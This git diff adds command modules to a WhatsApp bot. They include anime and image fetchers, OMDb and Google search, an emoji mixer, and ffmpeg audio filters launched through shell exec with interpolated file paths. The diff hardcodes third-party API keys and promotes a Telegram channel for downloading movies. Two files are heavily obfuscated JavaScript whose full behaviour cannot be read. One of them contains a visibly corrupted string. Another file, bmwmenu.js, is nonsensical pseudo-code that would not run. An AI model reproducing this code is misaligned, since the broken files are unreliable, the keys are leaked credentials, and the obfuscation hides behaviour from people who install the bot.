+const traduire = require("../Ibrahim/traduction");
+const {Sticker ,StickerTypes}= require('wa-sticker-formatter');
+
+adams({
+ nomCom: "randompic",
+ categorie: "Fun",
+ reaction: "📺"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const jsonURL = "https://api.jikan.moe/v4/random/anime"; // Remplacez par votre URL JSON
+
+ try {
+ const response = await axios.get(jsonURL);
+ const data = response.data.data;
+
+ const title = data.title;
+ const synopsis = data.synopsis;
+ const imageUrl = data.images.jpg.image_url; // Utilisez l'URL de l'image JPG
+ const episodes = data.episodes;
+ const status = data.status;
+
+ //const texttraduit = await traduire(synopsis,{ to: 'fr' })
+
+ const message = `📺 Titre: ${title}\n🎬 Épisodes: ${episodes}\n📡 Statut: ${status}\n📝 Synopsis: ${synopsis}\n🔗 URL: ${data.url}`;
+
+ // Envoyer l'image et les informations
+ zk.sendMessage(origineMessage, { image: { url: imageUrl }, caption: message }, { quoted: ms });
+ } catch (error) {
+ console.error('Error retrieving data from JSON :', error);
+ repondre('Error retrieving data from JSON.');
+ }
+});
+
+adams({
+ nomCom: "google2",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("Give me a query.\n*Example: .google What is a bot.*");
+ return;
+ }
+
+ const google = require('google-it');
+ try {
+ const results = await google({ query: arg.join(" ") });
+ let msg = `Google search for : ${arg}\n\n`;
+
+ for (let result of results) {
+ msg += `➣ Title : ${result.title}\n`;
+ msg += `➣ Description : ${result.snippet}\n`;
+ msg += `➣ Link : ${result.link}\n\n────────────────────────\n\n`;
+ }
+
+ // const trdmsg = await traduire(msg,{to : 'fr'})
+ repondre(msg);
+ } catch (error) {
+ repondre("An error occurred during Google search.");
+ }
+});
+
+adams({
+ nomCom: "imdb2",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre , ms } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("give the name of a series or film.");
+ return;
+ }
+
+ try {
+
+ const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
+ const imdbData = response.data;
+
+ let imdbInfo = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
+ imdbInfo += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
+ imdbInfo += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
+ imdbInfo += "🎬Title : " + imdbData.Title + "\n";
+ imdbInfo += "📅year : " + imdbData.Year + "\n";
+ imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
+ imdbInfo += "📆Release : " + imdbData.Released + "\n";
+ imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
+ imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
+ imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
+ imdbInfo += "✍writers : " + imdbData.Writer + "\n";
+ imdbInfo += "👨actors : " + imdbData.Actors + "\n";
+ imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
+ imdbInfo += "🌐Language : " + imdbData.Language + "\n";
+ imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
+ imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
+ imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
+ imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
+ imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
+ imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
+
+ zk.sendMessage(dest, {
+ image: {
+ url: imdbData.Poster,
+ },
+ caption: imdbInfo,
+ }, {
+ quoted: ms,
+ });
+ } catch (error) {
+ repondre("An error occurred while searching IMDb.");
+ }
+});
+
+adams({
+ nomCom: "series",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre , ms } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("give the name of a series or film.");
+ return;
+ }
+
+ try {
+
+ const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
+ const imdbData = response.data;
+
+ let imdbInfo = "Tap on the link to join movie channel on telegram and download movies there : https://t.me/ibrahimtechai\n";
+ imdbInfo += " ``` BMW MD FILMS```\n";
+ imdbInfo += "*Made by Ibrahim Adams*\n";
+ imdbInfo += "🎬Title : " + imdbData.Title + "\n";
+ imdbInfo += "📅year : " + imdbData.Year + "\n";
+ imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
+ imdbInfo += "📆Release : " + imdbData.Released + "\n";
+ imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
+ imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
+ imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
+ imdbInfo += "✍writers : " + imdbData.Writer + "\n";
+ imdbInfo += "👨actors : " + imdbData.Actors + "\n";
+ imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
+ imdbInfo += "🌐Language : " + imdbData.Language + "\n";
+ imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
+ imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
+ imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
+ imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
+ imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
+ imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
+
+ zk.sendMessage(dest, {
+ image: {
+ url: imdbData.Poster,
+ },
+ caption: imdbInfo,
+ }, {
+ quoted: ms,
+ });
+ } catch (error) {
+ repondre("An error occurred while searching IMDb.");
+ }
+});
+
+adams({
+ nomCom: "emoji",
+ categorie: "Conversion"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre,ms , nomAuteurMessage } = commandeOptions;
+
+ if (!arg[0] || arg.length !== 1) {
+ repondre("Incorrect use. Example: .emojimix 😀;🥰");
+ return;
+ }
+
+ // Divisez la chaîne en deux emojis en utilisant le point-virgule comme séparateur
+ const emojis = arg.join(' ').split(';');
+
+ if (emojis.length !== 2) {
+ repondre("Please specify two emojis using a ';' as a separator.");
+ return;
+ }
+
+ const emoji1 = emojis[0].trim();
+ const emoji2 = emojis[1].trim();
+
+ try {
+ const axios = require('axios');
+ const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`);
+
+ if (response.data.status === true) {
+ // Si la requête a réussi, envoyez l'image résultante
+
+ let stickerMess = new Sticker(response.data.result, {
+ pack: nomAuteurMessage,
+ type: StickerTypes.CROPPED,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms });
+
+ } else {
+ repondre("Unable to create emoji mix.");
+ }
+ } catch (error) {
+ repondre("An error occurred while creating the emoji mix." + error );
+ }
+});
+
diff --git a/scs/bmwj.js b/scs/bmwj.js
new file mode 100644
index 0000000..5fccde8
--- /dev/null
+++ b/scs/bmwj.js
@@ -0,0 +1,280 @@
+const {adams} = require('../Ibrahim/adams');
+const fs = require("fs");
+const { exec } = require("child_process");
+
+
+const filename = `${Math.random().toString(36)}`;
+
+adams (
+ {
+ nomCom : 'deep',
+ categorie : 'Audio-Edit',
+
+ }, async (dest , zk, commandeOptions) => {
+ const {ms , repondre,msgRepondu} = commandeOptions;
+
+ if (msgRepondu) {
+ if(msgRepondu.audioMessage) {
+
+ const media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
+
+ let set = "-af atempo=4/4,asetrate=44500*2/3";
+ let ran = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media);
+ if (err) return repondre("error during the procedure " + err );
+
+ let buff1 = fs.readFileSync(ran);
+
+ zk.sendMessage(
+ dest,
+ { audio: buff1, mimetype: "audio/mpeg" },
+ { quoted: ms }
+ );
+ fs.unlinkSync(ran);
+ });
+ } catch (e) {
+
+ repondre("error");
+ }
+
+ } else {
+ repondre('the command only works with audio messages')
+ }
+
+ } else {
+ repondre('Please mention an audio')
+ }
+ }
+);
+
+adams (
+ {
+ nomCom : 'bass',
+ categorie : 'Audio-Edit',
+
+ }, async (dest , zk, commandeOptions) => {
+ const {ms , repondre,msgRepondu} = commandeOptions;
+
+ if (msgRepondu) {
+ if(msgRepondu.audioMessage) {
+
+ const media2 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
+
+ let set2 = "-af equalizer=f=18:width_type=o:width=2:g=14";
+ let ran2 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media2} ${set2} ${ran2}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media2);
+ if (err) return repondre("error during the procedure " + err );
+
+ let buff2 = fs.readFileSync(ran2);
+
+ zk.sendMessage(
+ dest,
+ { audio: buff2, mimetype: "audio/mpeg" },
+ { quoted: ms }
+ );
+ fs.unlinkSync(ran2);
+ });
+ } catch (e) {
+
+ repondre("error");
+ }
+
+ } else {
+ repondre('the command only works with audio messages')
+ }
+
+ } else {
+ repondre('Please mention an audio')
+ }
+ }
+);
+
+adams(
+ {
+ nomCom: 'reverse',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const media3 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let set3 = '-filter_complex "areverse"';
+ let ran3 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media3} ${set3} ${ran3}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media3);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff3 = fs.readFileSync(ran3);
+
+ zk.sendMessage(dest, { audio: buff3, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ran3);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ adams(
+ {
+ nomCom: 'slow',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const media5 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let set5 = '-filter:a "atempo=0.8,asetrate=44100"';
+ let ran5 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media5} ${set5} ${ran5}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media5);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff5 = fs.readFileSync(ran5);
+
+ zk.sendMessage(dest, { audio: buff5, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ran5);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+// Cas pour l'effet "smooth"
+adams(
+ {
+ nomCom: 'smooth',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaSmooth = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setSmooth = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"';
+ let ranSmooth = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaSmooth} ${setSmooth} ${ranSmooth}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaSmooth);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff6 = fs.readFileSync(ranSmooth);
+
+ zk.sendMessage(dest, { audio: buff6, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranSmooth);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ // Cas pour l'effet "tempo"
+ adams(
+ {
+ nomCom: 'tempo',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaTempo = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setTempo = '-filter:a "atempo=0.9,asetrate=65100"';
+ let ranTempo = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaTempo} ${setTempo} ${ranTempo}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaTempo);
+ if (err) return repondre("error during the procedure " + err);
+
+ let buff7 = fs.readFileSync(ranTempo);
+
+ zk.sendMessage(dest, { audio: buff7, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranTempo);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ // Cas pour l'effet "nightcore"
+ adams(
+ {
+ nomCom: 'nightcore',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaNightcore = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setNightcore = '-filter:a "atempo=1.07,asetrate=44100*1.20"';
+ let ranNightcore = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaNightcore} ${setNightcore} ${ranNightcore}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaNightcore);
+ if (err) return repondre("error during the procedure " + err);
+
+ let buff8 = fs.readFileSync(ranNightcore);
+
+ zk.sendMessage(dest, { audio: buff8, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranNightcore);
+ });
+ } catch (e) {
+ repondre("Erreur : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
diff --git a/scs/bmwjj.js b/scs/bmwjj.js
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/scs/bmwjj.js
@@ -0,0 +1 @@
+
diff --git a/scs/bmwm.js b/scs/bmwm.js
new file mode 100644
index 0000000..c7dd209
--- /dev/null
+++ b/scs/bmwm.js
@@ -0,0 +1,144 @@
+const axios = require('axios');
+const fs = require('fs');
+const { adams } = require("../Ibrahim/adams");
+const { writeFile } = require('fs/promises')
+
+// Commande waifu
+adams({
+ nomCom: "waifu",
+ categorie: "Weeb",
+ reaction: "😏"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/waifu'; // Remplacez avec le lien réel de l'API waifu.pics
+
+ try {
+
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande neko
+adams({
+ nomCom: "neko",
+ categorie: "Weeb",
+ reaction: "😺"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/neko'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API de nekos
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande shinobu
+adams({
+ nomCom: "shinobu",
+ categorie: "Weeb",
+ reaction: "🦋"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/shinobu'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Shinobu
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande megumin
+adams({
+ nomCom: "megumin",
+ categorie: "Weeb",
+ reaction: "💥"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/megumin'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Megumin
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage,{ image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+
+
+adams({
+ nomCom: "cosplay",
+ categorie: "Weeb",
+ reaction: "😏"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ let url = 'https://fantox-cosplay-api.onrender.com/'
+
+ const response = await axios.get(url, { responseType: 'arraybuffer' })
+
+
+
+ const image = response.data;
+
+ await writeFile('./cosplay.jpg', image)
+ zk.sendMessage(origineMessage,{image : {url : `./cosplay.jpg`}},{quoted :ms}) }
+
+ } catch (e) {
+ repondre("je reçois malheureusement une erreur : " + e);
+ }
+});
+
+
+adams({nomCom:"couplepp",categorie: "Weeb",reaction : "💞"},async(dest,zk,commandeOptions)=>{ const {repondre , ms} = commandeOptions;
+ let api = 'https://smiling-hosiery-bear.cyclic.app/weeb/couplepp'
+ try {
+ repondre('she/he dont love you :)')
+ const result = await axios.get(api)
+
+
+ zk.sendMessage(dest, { image: { url: result.data.male }, caption: `For Man` }, { quoted: ms })
+ zk.sendMessage(dest, { image: { url: result.data.female }, caption: `_For woman_` }, { quoted: ms })
+
+ } catch (e) { repondre(e)}
+
+}
+ )
+
diff --git a/scs/bmwmenu.js b/scs/bmwmenu.js
new file mode 100644
index 0000000..4fa5bc3
--- /dev/null
+++ b/scs/bmwmenu.js
@@ -0,0 +1,11 @@
+Const = {menu}
+Const = {commands}
+const = {mp3song}
+const = {wachannel}
+
+('Remote git from ibrahim.mgtyu')
+
+{'Full copy from remote git menu'}
+
+export text message, audio, link, url
+
diff --git a/scs/bmwmn.js b/scs/bmwmn.js
new file mode 100644
index 0000000..280ebd4
--- /dev/null
+++ b/scs/bmwmn.js
@@ -0,0 +1,2 @@
+
+const _0x204925=_0x431c;function _0x479c(){const _0x33f28f=['log','/../Ibrahim/mesfonctions','8hENAxz','\x20minute,\x20','*╭────❒*\x20*','platform','7ufbTlX','/../config','\x20\x0a╰─────═━┈┈━═──━┈⊷\x20\x0a\x0a\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓\x20🌍\x0a\x0a','*\x20*❒*','Devibraah/BWM-XMD','push','Good\x20morning','https://api.github.com/repos/','\x0a*╰─═════════════❒*\x20\x0a','Error\x20fetchi.x3+.=require(_0x204925(0x1d2)),{adams}=require(__dirname+_0x204925(0x1c8)),{format}=require(__dirname+_0x204925(0x1b6)),os=require('os'),moment=require('moment-timezone'),s=require(__dirname+_0x204925(0x1bc)),more=String[_0x204925(0x1e6)](0x200e),readmore=more[_0x204925(0x1b3)](0xfa1),runtime=function(_0x5c873b){const _0x7e0c38=_0x204925;_0x5c873b=Number(_0x5c873b);var _0x37865b=Math[_0x7e0c38(0x1a9)](_0x5c873b/(0xe10*0x18)),_0x542d8f=Math['floor'](_0x5c873b%(0xe10*0x18)/0xe10),_0x3f3322=Math[_0x7e0c38(0x1a9)](_0x5c873b%0xe10/0x3c),_0xc08185=Math[_0x7e0c38(0x1a9)](_0x5c873b%0x3c),_0x454d2b=_0x37865b>0x0?_0x37865b+(_0x37865b==0x1?_0x7e0c38(0x1d8):'\x20d,\x20'):'',_0x38541f=_0x542d8f>0x0?_0x542d8f+(_0x542d8f==0x1?_0x7e0c38(0x1dd):_0x7e0c38(0x1d0)):'',_0x2959e9=_0x3f3322>0x0?_0x3f3322+(_0x3f3322==0x1?_0x7e0c38(0x1b8):_0x7e0c38(0x1b0)):'',_0x4124f1=_0xc08185>0x0?_0xc08185+(_0xc08185==0x1?_0x7e0c38(0x1aa):'\x20s'):'';return _0x454d2b+_0x38541f+_0x2959e9+_0x4124f1;},fetchGitHubStats=async()=>{const _0x1cd392=_0x204925;try{const _0x545401=_0x1cd392(0x1bf),_0x1d7c16=await axios[_0x1cd392(0x1d7)](_0x1cd392(0x1c2)+_0x545401),_0x4db1c9=_0x1d7c16['data'][_0x1cd392(0x1b4)],_0x8a6aba=_0x1d7c16[_0x1cd392(0x1cf)]['stargazers_count'],_0x3dc700=_0x4db1c9*0x2+_0x8a6aba*0x2;return{'forks':_0x4db1c9,'stars':_0x8a6aba,'totalUsers':_0x3dc700};}catch(_0x5070fd){return console[_0x1cd392(0x1d1)](_0x1cd392(0x1c4),_0x5070fd),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':_0x204925(0x1d5),'categorie':_0x204925(0x1a2)},async(_0x559c4c,_0x19862f,_0x2ba745)=>{const _0x3619f4=_0x204925;let {ms:_0x231765,repondre:_0x38b4ef,prefixe:_0x5f4e86,nomAuteurMessage:_0x23a934}=_0x2ba745,{cm:_0x296117}=require(__dirname+'/../Ibrahim/adams');var _0x121c37={},_0x5663a5=_0x3619f4(0x1da);s[_0x3619f4(0x1ae)][_0x3619f4(0x1de)]()!=_0x3619f4(0x1da)&&(_0x5663a5='Private');_0x296117[_0x3619f4(0x1a4)](async(_0x4719d8,_0x3ba757)=>{const _0x1cbd87=_0x3619f4,_0x5470b0=_0x4719d8[_0x1cbd87(0x1dc)][_0x1cbd87(0x1a5)]();if(!_0x121c37[_0x5470b0])_0x121c37[_0x5470b0]=[];_0x121c37[_0x5470b0][_0x1cbd87(0x1c0)](_0x4719d8[_0x1cbd87(0x1db)]);}),moment['tz'][_0x3619f4(0x1a7)]('${s.TZ}');const _0x2c6d9f=moment()['format'](_0x3619f4(0x1cc)),_0x3743c2=moment()[_0x3619f4(0x1ac)](_0x3619f4(0x1e0)),_0x3d89e4=moment()[_0x3619f4(0x1d3)]();let _0x59d721='Good\x20night';if(_0x3d89e4>=0x0&&_0x3d89e4<=0xb)_0x59d721=_0x3619f4(0x1c1);else{if(_0x3d89e4>=0xc&&_0x3d89e4<=0x10)_0x59d721=_0x3619f4(0x1df);else{if(_0x3d89e4>=0x10&&_0x3d89e4<=0x15)_0x59d721=_0x3619f4(0x1af);else _0x3d89e4>=0x15&&_0x3d89e4<=0x17&&(_0x59d721='Good\x20night');}}const {totalUsers:_0x3eb0cc}=await fetchGitHubStats(),_0x120157=_0x3eb0cc[_0x3619f4(0x1a6)]();let _0x496f1c=_0x3619f4(0x1c6)+_0x5663a5+_0x3619f4(0x1d6)+_0x5f4e86+_0x3619f4(0x1e2)+os[_0x3619f4(0x1ba)]()+_0x3619f4(0x1d9)+_0x3743c2+'*\x0a┇\x20ᴛɪᴍᴇ:\x20*'+_0x2c6d9f+_0x3619f4(0x1c9)+format(os[_0x3619f4(0x1cb)]()-os[_0x3619f4(0x1d4)]())+'/'+format(os['totalmem']())+_0x3619f4(0x1bd),_0x2451f1=readmore+'\x20\x20\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x0a';const _0x2457a9=Object[_0x3619f4(0x1e4)](_0x121c37)[_0x3619f4(0x1ad)]();for(const _0x5597e9 in _0x121c37){_0x2451f1+=_0x3619f4(0x1b9)+_0x5597e9+_0x3619f4(0x1be);for(const _0x54126e of _0x121c37[_0x5597e9]){_0x2451f1+=_0x3619f4(0x1c5)+_0x54126e;}_0x2451f1+=_0x3619f4(0x1c3);}_0x2451f1+='\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20\x0a';try{await _0x19862f[_0x3619f4(0x1e1)](_0x559c4c,{'text':_0x496f1c+_0x2451f1,'contextInfo':{'mentionedJid':[_0x23a934],'externalAdReply':{'title':'','body':_0x3619f4(0x1b2),'thumbnailUrl':_0x3619f4(0x1e5),'sourceUrl':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','mediaType':0x1,'rendersmallThumbnail':!![]}}});}catch(_0x1961ff){console[_0x3619f4(0x1b5)](_0x3619f4(0x1b1)+_0x1961ff),_0x38b4ef(_0x3619f4(0x1b1)+_0x1961ff);}});
diff --git a/scs/bmwmor.js b/scs/bmwmor.js
new file mode 100644
index 0000000..f45a873
--- /dev/null
+++ b/scs/bmwmor.js
@@ -0,0 +1 @@
+const _0x39bcb0=_0x1307;function _0x3460(){const _0x5855b7=['Erreur:','desc','urls','https://api.maher-zubair.tech/ai/mathssolve?q=','https://opentdb.com/api.php?amount=1&type=multiple','Mobile','author','message','male','501jUOWyb','General','Invalid\x20response\x20format\x20from\x20the\x20GPT\x20API.','textBody','calc','ilama','https://tajammalmods.xyz/Validater.php?num=','Error\x20fetching\x20joke:','https://api.maher-zubair.tech/details/population','Error\x20getting\x20response:','https://widipe.com/gemini?text=','https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','axios','No\x20response\x20received\x20from\x20Bard.\x20Please\x20try\x20again\x20later.','time_zones','7335QBsoLw','https://www.1secmail.com/api/v1/?action=getMessages&login=','images','Invalid\x20response\x20format\x20from\x20the\x20trivia\x20API.','*Here\x20is\x20an\x20advice\x20for\x20you:*\x20\x0a','truth','You\x20have\x20received\x20a\x20new\x20email!\x0a\x0aFrom:\x20','Your\x20temporary\x20email\x20is:\x20','trim','join','Une\x20erreur\x20s\x27est\x20produite','>\x20*POWERED\x20BY\x20BMW-MD*','🗞️','Interacting\x20with\x20Bard...\x20Please\x20wait\x20a\x20moment.','create','floor','@1secmail.com','Body','14145tbDrNJ','international_format','timeZone','Invalid\x20response\x20from\x20the\x20trivia\x20API.\x20Status\x20code:\x20','data','calculate','\x0a-\x20*Deaths\x20Today:*\x20','dall','\x0a*International\x20Format:*\x20','2804740XFgzLV','\x0a\x0a*Powered\x20by\x20©\x20Ibrahim\x20Adams*','insult','\x0a\x0a>\x20*POWERED\x20BY\x20BMW-MD*','advice','https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc','NEWS','msg','Please\x20insert\x20math\x20calculations\x20like\x20100000+2024.\x0a\x0aNOTE:\x20Use\x20\x22(/)\x22\x20for\x20division\x20and\x20\x22(*)\x22\x20for\x20multiplication\x20or\x20letter\x20x','subject','Error\x20fetching\x20NASA\x20news:','Error\x20getting\x20GPT\x20response:','📋\x20COPY\x20YOUR\x20CODE','Header','Footer','14ntFYjs','https://api.maher-zubair.tech/details/ios','The\x20correct\x20answer\x20is:\x20','\x0a*Line\x20Type:*\x20','get','There\x20was\x20an\x20error\x20fetching\x20the\x20news.\x20Please\x20try\x20again\x20later.','unshift','*Powered\x20by\x20BMW-MD*','stringify','status','match','News','*\x20Stats:\x0a\x0a*Date\x20&\x20Time:*\x20','json','No\x20population\x20data\x20found.','url','*POWERED\x20BY\x20FLASH-MD*','total','completion','../Ibrahim/traduction','3296029bSlXeC','title','result','Hello\x20🖐️\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','6350BBryJC','location','&domain=1secmail.com','https://api.guruapi.tech/ai/gpt4?username=','bestwal','https://shizoapi.onrender.com/api/texts/truth?apikey=shizo','BMW\x20PHOTOS','regular','inspire','https://api.popcat.xyz/joke','\x0aSubject:\x20','\x0a*TimeZone:*\x20','bard','>\x20*POWERED\x20BY\x20FLASH-MD*','User','incorrect_answers','content','technews','FOLLOW\x20CHANNEL','question','deaths','applenews','609203nTDPta','No\x20additional\x20data','this_year','length','Error\x20getting\x20response\x20from\x20GPT.','link','Error\x20fetching\x20tech\x20news:','lines','correct_answer','joke','https://api.maher-zubair.tech/maker/enhance?','current','Network\x20response\x20was\x20not\x20ok.','dalle','Error\x20generating\x20temporary\x20email:','https://api.gurusensei.workers.dev/llama?prompt=','nasanews','https://samirxpikachuio.on